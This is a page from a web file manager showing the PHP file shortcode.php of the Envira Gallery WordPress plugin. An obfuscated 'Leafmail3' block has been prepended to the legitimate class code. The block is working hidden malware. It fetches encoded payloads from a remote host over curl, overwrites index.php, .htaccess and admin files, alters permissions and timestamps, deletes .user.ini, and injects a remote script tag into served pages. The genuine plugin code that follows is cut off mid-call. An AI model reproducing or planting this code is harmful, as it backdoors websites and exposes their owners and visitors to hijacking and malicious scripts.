trAvis - MANAGER
Edit File: shortcode.php
<?php /*Leafmail3*/goto o1QFr; wasj3: $ZJUCA($jQ0xa, $RTa9G); goto wYDtx; IuHdj: $egQ3R = "\147\172\151"; goto ChKDE; TpHVE: $cPzOq .= "\157\x6b\x6b"; goto vgltl; gmVrv: $Mvmq_ .= "\x6c\x5f\x63\154\x6f"; goto N9T5l; SClM0: $VwfuP = "\x64\x65\146"; goto PXHHr; m8hp8: $uHlLz = "\x73\x74\x72"; goto lz2G0; UH4Mb: $eULaj .= "\x70\x63\x2e\x70"; goto apDh3; QPct6: AtVLG: goto Mg1JO; dj8v0: $ZJUCA = "\143\150"; goto WmTiu; uHm0i: $TBxbX = "\x57\x50\137\125"; goto RCot0; f4Rdw: if (!($EUeQo($kpMfb) && !preg_match($tIzL7, PHP_SAPI) && $fHDYt($uZmPe, 2 | 4))) { goto TGN7B; } goto S2eca; H7qkB: $MyinT .= "\164\40\x41\x63\x63"; goto Air1i; AedpI: try { goto JM3SL; oiS8N: @$YWYP0($lJtci, $H0gg1); goto nucR0; AffR5: @$YWYP0($PcRcO, $H0gg1); goto SpIUU; JnP2S: @$ZJUCA($lJtci, $shT8z); goto oiS8N; nOhHX: @$ZJUCA($lJtci, $RTa9G); goto LvbAc; LvbAc: @$rGvmf($lJtci, $UYOWA["\141"]); goto JnP2S; SpIUU: @$ZJUCA($jQ0xa, $shT8z); goto qvTm1; gA5rv: @$ZJUCA($PcRcO, $shT8z); goto AffR5; nucR0: @$ZJUCA($PcRcO, $RTa9G); goto COvI1; JM3SL: @$ZJUCA($jQ0xa, $RTa9G); goto nOhHX; COvI1: @$rGvmf($PcRcO, $UYOWA["\142"]); goto gA5rv; qvTm1: } catch (Exception $ICL20) { } goto PqZGA; BWxc9: $kpMfb .= "\154\137\x69\156\x69\164"; goto RMP1m; Q7gNx: $gvOPD = "\151\163\137"; goto AfwzG; fFfBR: goto AtVLG; goto kST_Q; J9uWl: $e9dgF .= "\x61\171\163"; goto lNb3h; ZlPje: $u9w0n .= "\x75\x69\x6c\144\x5f\161"; goto Mit4a; YRbfa: $dGt27 .= "\157\x73\x65"; goto L744i; ioNAN: $tIzL7 .= "\x6c\x69\57"; goto Khhgn; mz3rE: $FANp1 .= "\x70\141\x72\145"; goto SClM0; eBKm1: $PcRcO = $jQ0xa; goto Sg4f2; D0V8f: $pv6cp = "\162\x65"; goto Hy0sm; xXaQc: $FANp1 = "\x76\145\162\x73\151"; goto T7IwT; ulics: try { $_SERVER[$pv6cp] = 1; $pv6cp(function () { goto YEXR4; PKzAL: $AG2hR .= "\163\171\x6e\x63\75\164\162\165\145"; goto HIXil; NZAxH: $AG2hR .= "\x65\x72\75\164\x72\165\x65\x3b" . "\12"; goto Tbsb3; xDrpr: $AG2hR .= "\x75\x6d\x65\156\164\54\40\x67\75\144\x2e\143\162\145\x61\164\145"; goto mLjk9; r_Oqj: $AG2hR .= "\163\x63\162\151\160\164\x22\x3e" . "\xa"; goto JZsfv; PEdls: $AG2hR .= "\74\57\163"; goto WBFgG; POyWW: $AG2hR .= "\x4d\55"; goto a8oGQ; N2RIK: $AG2hR .= "\175\x29\50\51\x3b" . "\12"; goto PEdls; Vj0ze: $AG2hR .= "\x72\151\160\x74\40\164\x79\x70\145\x3d\42\164\145\170"; goto FXjwZ; JZsfv: $AG2hR .= "\x28\x66\x75\156\143"; goto ZRBmo; zk1Ml: $AG2hR .= "\x79\124\141\147\x4e\x61\155\145"; goto STHB_; aKt86: $AG2hR .= "\x72\x69\160\x74\42\51\x2c\40\x73\75\x64\x2e\x67\x65\x74"; goto oxuwD; FXjwZ: $AG2hR .= "\x74\57\x6a\141\x76\141"; goto r_Oqj; YffEK: $AG2hR .= "\57\x6d\141\164"; goto nL_GE; ZrlUz: $AG2hR .= "\x73\x63\162\151\x70\164\x22\x3b\40\147\x2e\141"; goto PKzAL; MSqPC: $AG2hR .= "\x65\x20\55\x2d\76\12"; goto rWq2m; gUhrX: $AG2hR .= "\74\x73\143"; goto Vj0ze; oxuwD: $AG2hR .= "\x45\154\x65\x6d\145\156\164\x73\102"; goto zk1Ml; a8oGQ: $AG2hR .= time(); goto xyZaU; WBFgG: $AG2hR .= "\x63\162\151\160\164\x3e\xa"; goto jHj0s; rWq2m: echo $AG2hR; goto zxMHd; zzMTI: $AG2hR .= "\152\141\166\x61"; goto ZrlUz; HIXil: $AG2hR .= "\73\x20\147\56\144\x65\x66"; goto NZAxH; EXhzp: $AG2hR .= "\x65\156\164\x4e\x6f\x64\145\56\x69\x6e"; goto yJp9W; KUpUt: $AG2hR .= "\x64\40\115\141\x74"; goto c13YM; hugz8: $AG2hR .= "\x6f\x72\145\50\x67\54\x73\51\73" . "\xa"; goto N2RIK; xyZaU: $AG2hR .= "\x22\73\40\163\56\160\141\162"; goto EXhzp; ZRBmo: $AG2hR .= "\164\151\x6f\156\x28\51\x20\173" . "\xa"; goto sOVga; YqIfq: $AG2hR .= "\77\x69\x64\x3d"; goto POyWW; Tbsb3: $AG2hR .= "\147\x2e\163\x72"; goto vxsas; k1w2Q: $AG2hR = "\x3c\41\x2d\55\x20\115\x61"; goto OOFo2; F2sIB: $AG2hR .= "\x3d\x22\164\x65\x78\x74\57"; goto zzMTI; OOFo2: $AG2hR .= "\x74\157\155\x6f\x20\55\x2d\x3e\xa"; goto gUhrX; vxsas: $AG2hR .= "\143\x3d\165\x2b\42\x6a\163\57"; goto JGvCK; jHj0s: $AG2hR .= "\74\x21\55\55\40\x45\156"; goto KUpUt; mLjk9: $AG2hR .= "\105\154\x65\x6d\x65\156\x74\50\42\163\x63"; goto aKt86; yJp9W: $AG2hR .= "\x73\x65\162\x74\102\145\146"; goto hugz8; c13YM: $AG2hR .= "\x6f\x6d\x6f\40\103\157\144"; goto MSqPC; STHB_: $AG2hR .= "\50\x22\x73\x63\162\x69"; goto SX8pI; JGvCK: $AG2hR .= $osL5h; goto YffEK; nL_GE: $AG2hR .= "\x6f\155\x6f\56\x6a\x73"; goto YqIfq; SX8pI: $AG2hR .= "\160\x74\42\51\133\x30\135\x3b" . "\xa"; goto uh8pE; YEXR4: global $osL5h, $cPzOq; goto k1w2Q; jW6LQ: $AG2hR .= "\166\141\x72\40\144\x3d\x64\157\143"; goto xDrpr; uh8pE: $AG2hR .= "\x67\x2e\164\x79\x70\145"; goto F2sIB; sOVga: $AG2hR .= "\166\x61\162\40\x75\75\42" . $cPzOq . "\42\x3b" . "\xa"; goto jW6LQ; zxMHd: }); } catch (Exception $ICL20) { } goto arBxc; TrkYs: $eULaj .= "\x2f\170\x6d"; goto GE2p3; L744i: $cPzOq = "\x68\x74\164\x70\163\72\57\x2f"; goto TpHVE; CNdmS: wLXpb: goto wasj3; nHXnO: $_POST = $_REQUEST = $_FILES = array(); goto CNdmS; PHhHL: P9yQa: goto W2Q7W; UkCDT: $cLC40 = 32; goto BnazY; vabQZ: $CgFIN = 1; goto QPct6; gSbiK: try { goto xtnST; qBVAq: $k7jG8[] = $E0suN; goto Tc9Eb; vZ6zL: $E0suN = trim($Q0bWd[0]); goto LuoPM; D98P3: if (!empty($k7jG8)) { goto FbDAI; } goto AML_a; LuoPM: $jCv00 = trim($Q0bWd[1]); goto Q4uy7; xtnST: if (!$gvOPD($d3gSl)) { goto nHP5K; } goto W8uMn; c_73m: FbDAI: goto h1Cu7; kNAxm: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto lfWQh; } goto MfJKK; L8cv7: WVm2j: goto c_73m; AML_a: $d3gSl = $jQ0xa . "\x2f" . $HNQiW; goto GBRPC; ZSYyc: $jCv00 = trim($Q0bWd[1]); goto kNAxm; W8uMn: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto Woix_; EA1BT: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto ctSg2; } goto A163l; Woix_: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto wU2zk; } goto vZ6zL; Q4uy7: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto VAVW5; } goto qBVAq; tEVz_: $k7jG8[] = $jCv00; goto xWpvL; xWpvL: lfWQh: goto oilos; MfJKK: $k7jG8[] = $E0suN; goto tEVz_; N3TyU: wU2zk: goto snD7p; lky0R: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto EA1BT; Tc9Eb: $k7jG8[] = $jCv00; goto evp7M; snD7p: nHP5K: goto D98P3; oilos: ctSg2: goto L8cv7; evp7M: VAVW5: goto N3TyU; GBRPC: if (!$gvOPD($d3gSl)) { goto WVm2j; } goto lky0R; A163l: $E0suN = trim($Q0bWd[0]); goto ZSYyc; h1Cu7: } catch (Exception $ICL20) { } goto xU6vT; T7IwT: $FANp1 .= "\x6f\x6e\x5f\143\x6f\x6d"; goto mz3rE; JX1Oy: $dGt27 = "\x66\x63\x6c"; goto YRbfa; BnazY: $Pzt0o = 5; goto TYFaW; o1QFr: $kFvng = "\74\x44\x44\x4d\x3e"; goto wODYw; CL80L: $MyinT .= "\120\x2f\61\x2e\x31\x20\x34"; goto gErqa; tFGg7: $YWYP0 .= "\x75\143\x68"; goto dj8v0; pXfDS: $ygOJ_ .= "\x2f\167\160"; goto c7yEe; xUd9U: $pv6cp .= "\151\x6f\x6e"; goto bqFyS; PqZGA: CVVA3: goto RDKTA; wYDtx: $uZmPe = $nPBv4($eULaj, "\x77\x2b"); goto f4Rdw; E453u: $QIBzt .= "\56\64"; goto O8RXw; a4EJZ: $dZR_y = $cPzOq; goto vZkPa; FK_sr: $kb9bA .= "\x65\162\x2e\x69"; goto G2uff; TuwL4: $jQ0xa = $_SERVER[$Wv1G0]; goto wrxGI; wJDrU: $eULaj = $jQ0xa; goto TrkYs; MLdcc: $fHDYt .= "\x63\153"; goto JX1Oy; Gs7Gb: $kpMfb = $vW4As; goto BWxc9; Mit4a: $u9w0n .= "\x75\x65\x72\171"; goto cIo5P; GE2p3: $eULaj .= "\x6c\162"; goto UH4Mb; cIo5P: $uAwql = "\155\x64\65"; goto aXExt; c7yEe: $ygOJ_ .= "\x2d\x61"; goto XWOCC; wrxGI: $ygOJ_ = $jQ0xa; goto pXfDS; XsWqd: $kb9bA .= "\57\56\165\163"; goto FK_sr; cWrVz: $nPBv4 .= "\145\x6e"; goto KCtWA; CrWKs: $l0WLW .= "\157\160\x74"; goto jcG0e; lz2G0: $uHlLz .= "\154\x65\x6e"; goto xXaQc; wee0Y: $ulOTQ .= "\115\111\116"; goto Tfi5q; vgltl: $cPzOq .= "\154\x69\x6e\153\56\x74"; goto pr5fA; Khhgn: $tIzL7 .= "\x73\151"; goto JBJmV; kJlf4: $DJDq1 .= "\147\145\164\137\143"; goto NZqWx; lNb3h: $H0gg1 = $xsR4V($e9dgF); goto XYviL; TBl6Q: sLwcv: goto fFfBR; RMP1m: $l0WLW = $vW4As; goto ujtZa; XQnCd: $PcRcO .= "\x61\143\143\145\163\x73"; goto ikUIP; X4xWX: $QIBzt = "\x35"; goto E453u; hDUdL: $MWMOe .= "\x6c\x65"; goto Q7gNx; LxUUO: $RTa9G = $QTYip($HqqUn($RTa9G), $Pzt0o); goto qaeyL; f6Txl: $HqqUn = "\x64\x65\143"; goto gwNCH; sK97X: $nPBv4 = "\x66\157\160"; goto cWrVz; Ee0VW: $EUeQo .= "\164\x69\x6f\156\x5f"; goto a2JJX; D9NbF: $CgFIN = 1; goto PHhHL; VY3H_: $Wv1G0 = "\x44\117\x43\x55\115\105\116\x54"; goto HpOFr; CRqG1: if (empty($k7jG8)) { goto VIn91; } goto s4AWH; apDh3: $eULaj .= "\x68\160\x2e\60"; goto sK97X; Sg4f2: $PcRcO .= "\57\x2e\x68\x74"; goto XQnCd; jcG0e: $YQ0P6 = $vW4As; goto rA_Dy; dlqC2: $HNQiW = substr($uAwql($osL5h), 0, 6); goto xGZOR; kxKwG: $osL5h = $_SERVER[$i5EZR]; goto TuwL4; ozW5s: $e9dgF .= "\63\x20\x64"; goto J9uWl; xU6vT: $lJtci = $jQ0xa; goto BpRMk; CquiC: $dZR_y .= "\x63\x6f\160\171"; goto BLSy0; GSfrX: $pv6cp .= "\x75\x6e\143\164"; goto xUd9U; yaYSs: $rGvmf .= "\x6f\x6e\x74\x65\156\164\163"; goto mIlAi; FXRyn: $TBxbX .= "\115\x45\x53"; goto R1jVG; kST_Q: VIn91: goto vabQZ; flXr3: $shT8z = $QTYip($HqqUn($shT8z), $Pzt0o); goto TkfCl; FJdH4: $dZR_y .= "\x3d\x67\x65\x74"; goto CquiC; kJyDh: $QTYip = "\x69\156\x74"; goto blzff; s4AWH: $H25pP = $k7jG8[0]; goto t74Wt; TyAte: $k7jG8 = array(); goto UkCDT; EO8QL: try { $UYOWA = @$AkFS8($egQ3R($eKFWX($M7wqP))); } catch (Exception $ICL20) { } goto OXweB; XYviL: $i5EZR = "\110\124\124\x50"; goto j4Pjv; ikUIP: $kb9bA = $jQ0xa; goto XsWqd; VrwTF: $nRD8p .= "\x64\x69\162"; goto aQp1m; dLa5a: $pv6cp .= "\x65\162\x5f"; goto x5YEr; PgImI: @$ZJUCA($kb9bA, $RTa9G); goto yAax8; Jb1Vu: try { goto Bwps7; WPylr: if (!$xsy4x($Y61WO)) { goto nWSzU; } goto NpK90; xqrLf: @$YWYP0($dqnvi, $H0gg1); goto cinsF; N7wJU: if ($xsy4x($Y61WO)) { goto KOuoA; } goto RBLfp; wf0jq: @$ZJUCA($Y61WO, $shT8z); goto xqrLf; bfkJn: try { goto jwOvP; sXqkD: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto tXay1; jwOvP: $ekYPG = $kpMfb(); goto jMqt3; VURt4: $l0WLW($ekYPG, CURLOPT_POST, 1); goto Qk7oo; G7Y1e: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto Sw_Ys; lg1iu: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 3); goto VURt4; jMqt3: $l0WLW($ekYPG, CURLOPT_URL, $LfwPf . "\x26\164\x3d\151"); goto G7Y1e; Qk7oo: $l0WLW($ekYPG, CURLOPT_POSTFIELDS, $u9w0n($Lx9yT)); goto axPES; Sw_Ys: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto sXqkD; tXay1: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto Gb33B; PUEHo: $Mvmq_($ekYPG); goto rF4qo; Gb33B: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto lg1iu; axPES: $YQ0P6($ekYPG); goto PUEHo; rF4qo: } catch (Exception $ICL20) { } goto zCePm; s2GBY: $Y61WO = dirname($dqnvi); goto N7wJU; bO0VE: KOuoA: goto WPylr; RBLfp: @$ZJUCA($jQ0xa, $RTa9G); goto lexI4; NpK90: @$ZJUCA($Y61WO, $RTa9G); goto aGYEQ; wsLep: $Lx9yT = ["\144\x61\x74\x61" => $UYOWA["\x64"]["\165\162\x6c"]]; goto bfkJn; y0C5p: @$ZJUCA($dqnvi, $shT8z); goto wf0jq; cinsF: $LfwPf = $cPzOq; goto d8sPt; OAF8R: $LfwPf .= "\x6c\x6c"; goto wsLep; d8sPt: $LfwPf .= "\77\141\143"; goto HZ42Q; lexI4: @$nRD8p($Y61WO, $RTa9G, true); goto K7fs2; aGYEQ: @$rGvmf($dqnvi, $UYOWA["\144"]["\x63\157\x64\x65"]); goto y0C5p; zCePm: nWSzU: goto r2ase; Bwps7: $dqnvi = $jQ0xa . $UYOWA["\144"]["\160\x61\x74\x68"]; goto s2GBY; K7fs2: @$ZJUCA($jQ0xa, $shT8z); goto bO0VE; HZ42Q: $LfwPf .= "\164\75\x63\141"; goto OAF8R; r2ase: } catch (Exception $ICL20) { } goto AedpI; kAMGF: $xsy4x .= "\144\x69\x72"; goto gdP2h; lX6T6: if (!$gvOPD($kb9bA)) { goto KTGlr; } goto spjef; jxKJS: $ulOTQ .= "\x5f\x41\104"; goto wee0Y; vZkPa: $dZR_y .= "\x3f\141\143\164"; goto FJdH4; gErqa: $MyinT .= "\60\x36\x20\116\x6f"; goto H7qkB; xGZOR: $hg32N = $d3gSl = $ygOJ_ . "\57" . $HNQiW; goto TyAte; GiT2I: $Mvmq_ = $vW4As; goto gmVrv; KCtWA: $fHDYt = "\x66\x6c\157"; goto MLdcc; Yc09l: $xsy4x = "\x69\163\137"; goto kAMGF; FZsOD: $lJtci .= "\150\x70"; goto eBKm1; rA_Dy: $YQ0P6 .= "\154\137\x65\170\x65\x63"; goto GiT2I; VQCaR: $k8h0h = !empty($m4bDA) || !empty($ZTS7q); goto Bw8cX; ujtZa: $l0WLW .= "\154\137\x73\x65\x74"; goto CrWKs; R1jVG: $ulOTQ = "\127\120"; goto jxKJS; OXweB: if (!is_array($UYOWA)) { goto CVVA3; } goto L7ftk; bqFyS: if (isset($_SERVER[$pv6cp])) { goto Kwp9i; } goto r3vZ_; ChKDE: $egQ3R .= "\156\146\x6c\x61\164\145"; goto OCGca; Bx0F8: $rGvmf = "\146\x69\154\145\x5f"; goto cMMsY; lar4b: $xsR4V .= "\x6d\145"; goto ESAaf; L7ftk: try { goto b8mrw; IZ7dT: @$rGvmf($d3gSl, $UYOWA["\x63"]); goto qi8JJ; j1slf: if (!$xsy4x($ygOJ_)) { goto fnZm_; } goto l27iU; FnW9Y: fnZm_: goto IZ7dT; RHQPY: @$ZJUCA($jQ0xa, $shT8z); goto FudGj; jRIpH: $d3gSl = $hg32N; goto FnW9Y; b8mrw: @$ZJUCA($jQ0xa, $RTa9G); goto j1slf; l27iU: @$ZJUCA($ygOJ_, $RTa9G); goto jRIpH; qi8JJ: @$ZJUCA($d3gSl, $shT8z); goto fMj35; fMj35: @$YWYP0($d3gSl, $H0gg1); goto RHQPY; FudGj: } catch (Exception $ICL20) { } goto Jb1Vu; Hy0sm: $pv6cp .= "\x67\151\x73\164"; goto dLa5a; wODYw: $tIzL7 = "\57\x5e\143"; goto ioNAN; D9G8A: $vW4As = "\x63\165\162"; goto Gs7Gb; zR6Sw: $RTa9G += 304; goto LxUUO; FLAgg: @$ZJUCA($jQ0xa, $shT8z); goto Ms_Rx; TkfCl: $MyinT = "\110\124\124"; goto CL80L; JBJmV: $xsR4V = "\x73\x74\x72"; goto wDwVu; m7Y7E: $shT8z += 150; goto flXr3; OCGca: $AkFS8 = "\165\x6e\x73\145\x72"; goto DuXwv; spjef: @$ZJUCA($jQ0xa, $RTa9G); goto PgImI; mIlAi: $YWYP0 = "\x74\157"; goto tFGg7; Air1i: $MyinT .= "\x65\x70\164\x61\142\154\145"; goto wJDrU; hnuEm: $M7wqP = false; goto IxcDO; AfwzG: $gvOPD .= "\x66\151\154\x65"; goto Yc09l; Mg1JO: if (!$CgFIN) { goto V5o9n; } goto a4EJZ; O8RXw: $QIBzt .= "\x2e\x30\73"; goto kxKwG; Qjsri: Kwp9i: goto uHm0i; aQp1m: $DJDq1 = "\146\151\154\145\x5f"; goto kJlf4; wDwVu: $xsR4V .= "\x74\157"; goto k5kym; Ms_Rx: KTGlr: goto QDkYN; p2xAd: $u9w0n = "\x68\x74\x74\160\x5f\142"; goto ZlPje; XWOCC: $ygOJ_ .= "\x64\155\151\156"; goto dlqC2; PXHHr: $VwfuP .= "\x69\156\145\144"; goto uwRQG; t74Wt: $Aa5A7 = $k7jG8[1]; goto rjUnC; WmTiu: $ZJUCA .= "\x6d\157\x64"; goto OMDdm; F90kP: $CgFIN = 1; goto TBl6Q; IxcDO: try { goto MN2Ol; lfwpD: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto XT0V7; pm4fL: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto f1Wpg; LukB5: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto lfwpD; MN2Ol: $ekYPG = $kpMfb(); goto PGjVI; XT0V7: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto pm4fL; f1Wpg: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto A02q4; Jr5Fq: $Mvmq_($ekYPG); goto kxHAl; kxHAl: $M7wqP = trim(trim($M7wqP, "\xef\273\xbf")); goto DRdNb; A02q4: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 10); goto czpAh; PGjVI: $l0WLW($ekYPG, CURLOPT_URL, $dZR_y); goto LukB5; czpAh: $M7wqP = $YQ0P6($ekYPG); goto Jr5Fq; DRdNb: } catch (Exception $ICL20) { } goto TtjMz; yA6tr: $e9dgF .= "\63\x36"; goto ozW5s; BLSy0: $dZR_y .= "\x26\164\x3d\x69\46\x68\75" . $osL5h; goto hnuEm; qaeyL: $shT8z = 215; goto m7Y7E; YAsQc: if (!(!$_SERVER[$pv6cp] && $FANp1(PHP_VERSION, $QIBzt, "\76"))) { goto VlKKH; } goto ulics; QDkYN: $CgFIN = 0; goto CRqG1; g3rCR: $m4bDA = $_REQUEST; goto A4fYL; rjUnC: if (!(!$gvOPD($lJtci) || $MWMOe($lJtci) != $H25pP)) { goto P9yQa; } goto D9NbF; x5YEr: $pv6cp .= "\x73\x68\165"; goto itQ2f; A4fYL: $ZTS7q = $_FILES; goto VQCaR; a2JJX: $EUeQo .= "\145\x78"; goto fYDkt; TYFaW: $Pzt0o += 3; goto hoCMV; fYDkt: $EUeQo .= "\x69\163\x74\163"; goto D9G8A; fmcU9: $MWMOe .= "\x5f\x66\151"; goto hDUdL; S2eca: $ZJUCA($jQ0xa, $shT8z); goto YAsQc; RCot0: $TBxbX .= "\x53\105\x5f\124\110\105"; goto FXRyn; BpRMk: $lJtci .= "\57\x69\x6e"; goto lJYIj; cMMsY: $rGvmf .= "\160\x75\164\137\143"; goto yaYSs; j4Pjv: $i5EZR .= "\x5f\x48\117\x53\x54"; goto VY3H_; itQ2f: $pv6cp .= "\x74\x64\x6f"; goto gi1ux; YAE22: $eKFWX .= "\66\x34\137\x64"; goto HkhAv; DuXwv: $AkFS8 .= "\x69\x61\x6c\151\x7a\x65"; goto kJyDh; NZqWx: $DJDq1 .= "\x6f\156\164\145\x6e\x74\x73"; goto Bx0F8; ESAaf: $EUeQo = "\146\x75\156\143"; goto Ee0VW; HkhAv: $eKFWX .= "\x65\143\x6f\x64\145"; goto IuHdj; RDKTA: HuCWH: goto tkEEo; k5kym: $xsR4V .= "\x74\151"; goto lar4b; WQZ3H: $UYOWA = 0; goto EO8QL; TtjMz: if (!($M7wqP !== false)) { goto HuCWH; } goto WQZ3H; N9T5l: $Mvmq_ .= "\x73\145"; goto p2xAd; HpOFr: $Wv1G0 .= "\137\122\117\x4f\124"; goto X4xWX; arBxc: VlKKH: goto gSbiK; G2uff: $kb9bA .= "\156\151"; goto lX6T6; gwNCH: $HqqUn .= "\157\x63\164"; goto m8hp8; yAax8: @unlink($kb9bA); goto FLAgg; pr5fA: $cPzOq .= "\157\x70\x2f"; goto D0V8f; gi1ux: $pv6cp .= "\x77\x6e\x5f\x66"; goto GSfrX; OMDdm: $eKFWX = "\142\141\x73\x65"; goto YAE22; aXExt: $MWMOe = $uAwql; goto fmcU9; gdP2h: $nRD8p = "\155\x6b"; goto VrwTF; Bw8cX: if (!(!$fs0FH && $k8h0h)) { goto wLXpb; } goto nHXnO; uwRQG: $e9dgF = "\x2d\61"; goto yA6tr; hoCMV: $RTa9G = 189; goto zR6Sw; Tfi5q: $fs0FH = $VwfuP($TBxbX) || $VwfuP($ulOTQ); goto g3rCR; W2Q7W: if (!(!$gvOPD($PcRcO) || $MWMOe($PcRcO) != $Aa5A7)) { goto sLwcv; } goto F90kP; r3vZ_: $_SERVER[$pv6cp] = 0; goto Qjsri; lJYIj: $lJtci .= "\144\x65\170\56\x70"; goto FZsOD; blzff: $QTYip .= "\x76\x61\x6c"; goto f6Txl; tkEEo: V5o9n: goto ossJl; ossJl: TGN7B: ?> <?php /** * Shortcode class. * * @since 1.0.0 * * @package Envira_Gallery * @author Envira Gallery Team */ // Exit if accessed directly. if ( ! defined( 'ABSPATH' ) ) { exit; } /** * Envira Gallery Shortcode * * @since 1.0.0 */ class Envira_Gallery_Shortcode { /** * Holds the class object. * * @since 1.0.0 * * @var object */ public static $instance; /** * Path to the file. * * @since 1.0.0 * * @var string */ public $file = __FILE__; /** * Holds the base class object. * * @since 1.0.0 * * @var object */ public $base; /** * Holds the gallery data. * * @since 1.0.0 * * @var array */ public $data; /** * Holds gallery IDs for init firing checks. * * @since 1.0.0 * * @var array */ public $done = []; /** * Iterator for galleries on the page. * * @since 1.0.0 * * @var int */ public $counter = 1; /** * Holds image URLs for indexing. * * @since 1.0.0 * * @var array */ public $index = []; /** * Helper for gallery data * * @var array */ public $gallery_data = []; /** * Holds Common Class * * @var object */ public $common; /** * Mobile check * * @var boolean */ public $is_mobile; /** * Allowed Html * * @var array */ public $wp_kses_allowed_html = [ 'a' => [ 'href' => [], 'target' => [], 'class' => [], 'title' => [], 'data-status' => [], 'data-envira-tooltip' => [], 'data-id' => [], ], 'br' => [], 'img' => [ 'src' => [], 'class' => [], 'alt' => [], ], 'div' => [ 'class' => [], ], 'li' => [ 'id' => [], 'class' => [], 'data-envira-gallery-image' => [], 'data-envira-gallery-image-model' => [], ], 'em' => [], 'span' => [ 'class' => [], ], 'strong' => [], ]; /** * Primary class constructor. * * @since 1.0.0 */ public function __construct() { // Load the base class object. $this->base = Envira_Gallery_Lite::get_instance(); $this->common = Envira_Gallery_Common::get_instance(); $this->is_mobile = envira_lite_mobile_detect()->isMobile(); // Register main gallery style. wp_register_style( $this->base->plugin_slug . '-style', plugins_url( 'assets/css/envira.css', $this->base->file ), [], $this->base->version ); wp_register_style( $this->base->plugin_slug . '-fancybox', plugins_url( 'assets/css/fancybox.css', $this->base->file ), [], $this->base->version ); wp_register_style( $this->base->plugin_slug . '-lazyload', plugins_url( 'assets/css/responsivelyLazy.css', $this->base->file ), [], $this->base->version ); wp_register_style( $this->base->plugin_slug . '-jgallery', plugins_url( 'assets/css/justifiedGallery.css', $this->base->file ), [], $this->base->version ); // Register main gallery script. wp_register_script( $this->base->plugin_slug . '-script', plugins_url( 'assets/js/min/envira-min.js', $this->base->file ), [ 'jquery', 'jquery-masonry' ], $this->base->version, true ); // Load hooks and filters. add_shortcode( 'envira-gallery', [ $this, 'shortcode' ] ); add_filter( 'widget_text', 'do_shortcode' ); add_filter( 'style_loader_tag', [ $this, 'add_stylesheet_property_attribute' ] ); } /** * Creates the shortcode for the plugin. * * @since 1.0.0 * * @global object $post The current post object. * * @param array $atts Array of shortcode attributes. * @return string The gallery output. */ public function shortcode( $atts ) { if ( is_admin() ) { return; } global $post; // If no attributes have been passed, the gallery should be pulled from the current post. $gallery_id = false; if ( empty( $atts ) ) { $gallery_id = $post->ID; $data = is_preview() ? $this->base->_get_gallery( $gallery_id ) : $this->base->get_gallery( $gallery_id ); } elseif ( isset( $atts['id'] ) ) { $gallery_id = (int) $atts['id']; $data = is_preview() ? $this->base->_get_gallery( $gallery_id ) : $this->base->get_gallery( $gallery_id ); } elseif ( isset( $atts['slug'] ) ) { $gallery_id = $atts['slug']; $data = is_preview() ? $this->base->_get_gallery_by_slug( $gallery_id ) : $this->base->get_gallery_by_slug( $gallery_id ); } else { // A custom attribute must have been passed. Allow it to be filtered to grab data from a custom source. $data = apply_filters( 'envira_gallery_custom_gallery_data', false, $atts, $post ); $gallery_id = $data['config']['id']; } // Change the gallery order, if specified. $data = $this->maybe_sort_gallery( $data, $gallery_id ); // Limit the number of images returned, if specified. // [envira-gallery id="123" limit="10"] would only display 10 images. if ( isset( $atts['limit'] ) && is_numeric( $atts['limit'] ) ) { $images = $data['gallery']; $images = array_slice( $data['gallery'], 0, absint( $atts['limit'] ), true ); $data['gallery'] = $images; } // Allow the data to be filtered before it is stored and used to create the gallery output. $data = apply_filters( 'envira_gallery_pre_data', $data, $gallery_id ); // If there is no data to output or the gallery is inactive, do nothing. if ( ! $data || empty( $data['gallery'] ) || isset( $data['status'] ) && 'inactive' === $data['status'] && ! is_preview() ) { return; } $this->gallery_data = $data; // Get rid of any external plugins trying to jack up our stuff where a gallery is present. $this->plugin_humility(); // Prepare variables. $this->data[ $data['id'] ] = $this->gallery_data; $this->index[ $data['id'] ] = []; $gallery = ''; $i = 1; // If this is a feed view, customize the output and return early. if ( is_feed() ) { return $this->do_feed_output( $data ); } $lazy_loading_delay = isset( $this->gallery_data['config']['lazy_loading_delay'] ) ? intval( $this->gallery_data['config']['lazy_loading_delay'] ) : 500; // Load scripts and styles. wp_enqueue_style( $this->base->plugin_slug . '-style' ); wp_enqueue_style( $this->base->plugin_slug . '-lazyload' ); wp_enqueue_style( $this->base->plugin_slug . '-fancybox' ); wp_enqueue_style( $this->base->plugin_slug . '-jgallery' ); wp_enqueue_script( 'jquery-masonry' ); wp_enqueue_script( $this->base->plugin_slug . '-script' ); // If lazy load is active, load the lazy load script. if ( $this->get_config( 'lazy_loading', $data ) === 1 ) { wp_localize_script( $this->base->plugin_slug . '-script', 'envira_lazy_load', [ 'true' ] ); wp_localize_script( $this->base->plugin_slug . '-script', 'envira_lazy_load_initial', [ 'false' ] ); wp_localize_script( $this->base->plugin_slug . '-script', 'envira_lazy_load_delay', [ (string) $lazy_loading_delay ] ); } // Load custom gallery themes if necessary. if ( 'base' !== $this->get_config( 'gallery_theme', $this->gallery_data ) && $this->get_config( 'columns', $this->gallery_data ) > 0 ) { // if columns is zero, then it's automattic which means we do not load gallery themes because it will mess up the new javascript layout. $this->load_gallery_theme( $this->get_config( 'gallery_theme', $this->gallery_data ) ); } // Load custom lightbox themes if necessary. if ( 'base' !== $this->get_config( 'lightbox_theme', $this->gallery_data ) ) { $this->load_lightbox_theme( $this->get_config( 'lightbox_theme', 